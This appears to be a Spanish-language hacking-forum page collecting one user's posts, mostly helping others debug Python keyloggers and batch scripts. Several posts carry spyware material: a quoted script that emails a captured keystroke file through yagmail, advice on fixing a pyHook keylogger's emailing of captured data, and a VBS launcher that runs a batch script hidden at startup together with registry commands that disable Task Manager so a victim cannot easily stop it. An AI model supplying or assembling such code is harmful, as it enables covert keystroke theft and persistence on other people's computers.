Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Segadorfelix

#11
Cita de: TheFerret en 13 Abril 2019, 21:24 PM


El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard.
https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/

Y he añadido usando el módulo yagmail  un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones?

Código añadido:
Código (python) [Seleccionar]

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys



yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "Birthday", contents = [img])


Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan.

Y luego el script 'completo' que falla.

Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.
#12
No es exactamente lo que estaba buscando. Pero aun así creo que podría hacer bastante, tomando en cuenta que es Batch, con eso. Así que gracias Yuimugi
#13
Scripting / Re: Esteganografía EOF [BATCH]
20 Abril 2019, 22:39 PM
Cita de: yuimugi912 en 19 Abril 2019, 15:16 PM
la tienes muy complicada si quieres hacerlo con archivos binarios.
Pero googleando podrias usar
certutil para convertir los archivos en base 65 y luego si lo puedes leer normalmente con un for
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#BKMK_encode

tuviera a la mano windows lo haria

@Yuigumi Muchas gracias, esto podría serme de gran utilidad, voy a probar si esto mejora la lectura.(De alguna forma, sin pasarlo a base64, pude leerlo con un for, pero a la hora de pasar a una variable, y escribir en un archivo, algunos "caracteres especiales" de Batch, me complican la vida. Aunque creo que eso es asunto de otro post).

Bueno, modifico el mensaje, porque esto es JUSTO lo que buscaba, enserio gracias, este comando me simplifica la vida un montón.
#14
Recomendaría que volvieras al código original. Por dos razones:

*El elif debería funcionar si el valor buffer aumenta correctamente.
*El '(capturado)' debe enviar la variable. Mientras que el '("capturado")' envía un el string "capturado", por eso solo llega esa palabra.

No eliminar el código 'modificado'. Sino probar ambos y ver resultados.

Coloca print(buffer), print(message) y print(count). En varias zonas del codigo, para ver por consola, si realmente están cambiando como deberían, lo cual supongo que no, alguna variable debe estar fallando.

No creo que el modulo para enviar mensajes, falle, ya que llega al menos un mensaje.

Si ya has probado con seriedad todo lo anterior, entonces prueba si

Código (python) [Seleccionar]

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()


requiere algun valor numérico.

Código (python) [Seleccionar]
f=open("c:\output.txt","w+")
f.close


También, sería bueno (aunque no creo que altere el error), cambiar f.close a f.close()

Por ultimo, si es por tener un Keylogger funcional y este código sigue fallando, puedes ver los últimos comentarios del link de phytondiario, en donde colocan otros códigos. Y también en la red, hay keylogger en python cuantos, se quieran.

#15
Dejo el código en vbs, que podrías adicionarle al de EdePC.


Código (vb) [Seleccionar]

Set objshell = createobject("wscript.shell")
Objshell.run "script.bat", 0, true


y uno para desactivar el administrador de tareas.

Código (dos) [Seleccionar]

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f


Otro, para reactivarlo:

Código (dos) [Seleccionar]

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr


*El bat tendría que estar en otra carpeta, distinta a la de inicio.
*El vbs debe estar en la carpeta de inicio.

El vbs oculta al bat, y ya con el administrador de tareas desactivado, se le complicara cerrarlo.
#16
Buenas Tardes. Tengo un dilema clásico con FOR. Supongamos que tengo un archivo así:


!sdaa!qweu%%%ggs
%slkwk%2837/\||sw|12
^^^^ds
^d
&&hhs&&
&swj12)
(skkks>
=jhy54"
"
>><<


Y quiero leerlo con For /F, pero necesito pasar las lineas a un argumento. Y en el argumento, alguna de las lineas falla sí o sí. Tampoco puedo expandir variables, porque se omitirían los valores entre !---! Necesito, que quede almacenado en alguna variable, o un argumento (por call), que pueda procesar luego con un IF.

Y al final transcribirlo a un archivo 'integro', por ejemplo los "^^" o la " son un gran problema.

¿Hay algún modo de almacenar las lineas en variables y ponerlas luego en otro archivo, sin que pierdan su valor o de error?
#17
Probaste send_email(capturado) en vez de send_email("capturado").

No lo analice del todo, pero puede ser eso. Que envíe el string capturado y no los datos almacenados en capturado.

PD: Acabo de leer el final. Prueba, por partes, primero, si almacena correctamente los datos, imprimiendolos en consola, en lugar de enviarlos. Si lo hace, allí no esta el problema.

O Averiguar si server, posee alguna restricción con el tipo de dato o el tamaño.
#18
Cita de: Killer Pizza en  9 Abril 2019, 18:13 PM
Estoy aprendiendo python y tengo intención de aprender html después. La verdad es que no se hasta que punto hay que aprenderlo.

Supongo que lo importante es saber analizar código, y ver sus fallas. Por lo que no creo que aprender Python sea algo vital. Pero si tienes clara la lógica de 'cualquier' pseudocodigo. E investigas como se han crakeado la mayor parte de sistemas o servidores (con detalles, si es posible, como los codigos y equipos de crakeado). Se puede empezar con un buen rumbo.

Mi objetivo  no es el de ser Hacker ni nada, pero empece a programar luego de que mi computador se llenara de virus 3 veces. Después de eso, ya no ha vuelto a pasar, porque supe ser más precavido.

PD: Igual, aprender Python no es ningún desperdicio.
#19
Cita de: Mudereded401 en  9 Abril 2019, 13:25 PM
Vale gracias por la ayuda, Todavia soy un nuevo en batch y creo que no entiendo bien tu codigo xd Pero ahi ire aprendiendo, Apenas estos son mis primeros .bat y quiero hacerlos como tu. Mas facil y mas rapidos. Igual gracias por tu ayuda.  ;)

Hago la recomendación 'obligatoria' de siempre, hay lenguajes de scriping más adecuados, para aprender, como autoit o si se quiere consola, python o ruby.

Pero aprender Batch no hace ningun mal y ayuda a que uno se maneje mejor por Windows.

Hay formas más rápidas y eficientes que la mía, podría asegurar que con For, tal vez podría haber hecho el script más eficiente.

Es solo leer los post 'clavados en Scriping', allí, esta la mayor parte de la información. Y consultar los comandos en la consola con Help y con [comando] /?

SaluDos!
#20
Scripting / Re: Esteganografía EOF [BATCH]
9 Abril 2019, 03:34 AM
Cita de: tincopasan en  9 Abril 2019, 02:36 AM
teniendo en cuenta eso, no pierdas tiempo con batch, si bien powershell brinda muchisimas más posibilidades, tampoco es que sea tan fácil de realizar todo lo que te propongas.

Por supuesto, eso lo tomo en cuenta. Pero lo que tengo pensado no lo veo como un reto en algo que no sea Batch. (Leer el archivo linea a linea y transcribirlo en otros archivos).

Por eso pregunto, si de algún modo que desconozca puede hacerse, aprenderé algo nuevo.